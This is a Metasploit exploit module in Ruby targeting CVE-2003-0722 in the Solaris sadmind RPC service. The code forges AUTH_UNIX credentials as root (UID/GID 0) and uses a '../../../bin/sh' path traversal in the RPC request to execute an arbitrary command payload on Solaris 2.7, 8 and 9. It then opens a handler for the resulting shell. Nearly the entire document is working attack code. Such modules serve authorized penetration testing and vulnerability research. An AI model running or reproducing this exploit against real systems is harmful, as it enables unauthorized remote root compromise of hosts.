Solaris Sadmind - Command Execution (Metasploit)

##
# $Id: sadmind_exec.rb 9583 2010-06-22 19:11:05Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::SunRPC

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Solaris sadmind Command Execution',
			'Description'    => %q{
					This exploit targets a weakness in the default security
				settings of the sadmind RPC application. This server is
				installed and enabled by default on most versions of the
				Solaris operating system.

				Vulnerable systems include solaris 2.7, 8, and 9
			},
			'Author'         => [ 'vlad902 <vlad902@gmail.com>', 'hdm', 'cazz' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9583 $',
			'References'     =>
				[
					['CVE', '2003-0722'],
					['OSVDB', '4585'],
					['BID', '8615'],
					['URL', 'http://lists.insecure.org/lists/vulnwatch/2003/Jul-Sep/0115.html'],
				],
			'Privileged'     => true,
			'Platform'       => ['unix', 'solaris'],
			'Arch'           => ARCH_CMD,
			'Payload'        =>
				{
					'Space'    => 2000,
					'BadChars' => "\x00",
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl telnet',
						}
				},
			'Targets'        => [ ['Automatic', { }], ],
			'DisclosureDate' => 'Sep 13 2003',
			'DefaultTarget' => 0
		))

		register_options(
			[
				OptString.new('HOSTNAME', [false, 'Remote hostname', nil]),
				OptInt.new('GID', [false, 'GID to emulate', 0]),
				OptInt.new('UID', [false, 'UID to emulate', 0])
			], self.class
		)
	end

	def exploit
		sunrpc_create('udp', 100232, 10)
		sunrpc_authunix('localhost', datastore['UID'], datastore['GID'], [])

		if !datastore['HOSTNAME']
			print_status('attempting to determine hostname')
			response = sadmind_request(rand_text_alpha(rand(10) + 1), "true")

			if !response
				print_error('no response')
				return
			end

			match = /Security exception on host (.*)\.  USER/.match(response)
			if match
				hostname = match.captures[0]
				print_status("found hostname: #{hostname}")
			else
				print_error('unable to determine hostname')
				return
			end
		else
			hostname = datastore['HOSTNAME']
		end

		response = sadmind_request(hostname, payload.encoded)
		sunrpc_destroy

		if /Security exception on host/.match(response)
			print_error('exploit failed')
			return
		else
			print_status('exploit did not give us an error, this is good...')
			select(nil,nil,nil,1)
			handler
		end
	end

	def sadmind_request(host, command)
		header =
			XDR.encode(0) * 7 +
			XDR.encode(6, 0, 0, 0, 4, 0, 4, 0x7f000001, 100232, 10, \
				4, 0x7f000001, 100232, 10, 17, 30, 0, 0, 0, 0, \
				host, 'system', '../../../bin/sh')

		body =
			do_int('ADM_FW_VERSION', 1) +
			do_string('ADM_LANG', 'C') +
			do_string('ADM_REQUESTID', '00009:000000000:0') +
			do_string('ADM_CLASS', 'system') +
			do_string('ADM_CLASS_VERS', '2.1') +
			do_string('ADM_METHOD', '../../../bin/sh') +
			do_string('ADM_HOST', host) +
			do_string('ADM_CLIENT_HOST', host) +
			do_string('ADM_CLIENT_DOMAIN', '') +
			do_string('ADM_TIMEOUT_PARMS', 'TTL=0 PTO=20 PCNT=2 PDLY=30') +
			do_int('ADM_FENCE', 0) +
			do_string('X', '-c') +
			do_string('Y', command) +
			XDR.encode('netmgt_endofargs')

		request = header + XDR.encode(header.length + body.length - 326) + body

		ret = sunrpc_call(1, request)
		return XDR.decode!(ret, Integer, Integer, String)[2]
	end

	def do_string(str1, str2)
		XDR.encode(str1, 9, str2.length + 1, str2, 0, 0)
	end

	def do_int(str, int)
		XDR.encode(str, 3, 4, int, 0, 0)
	end
end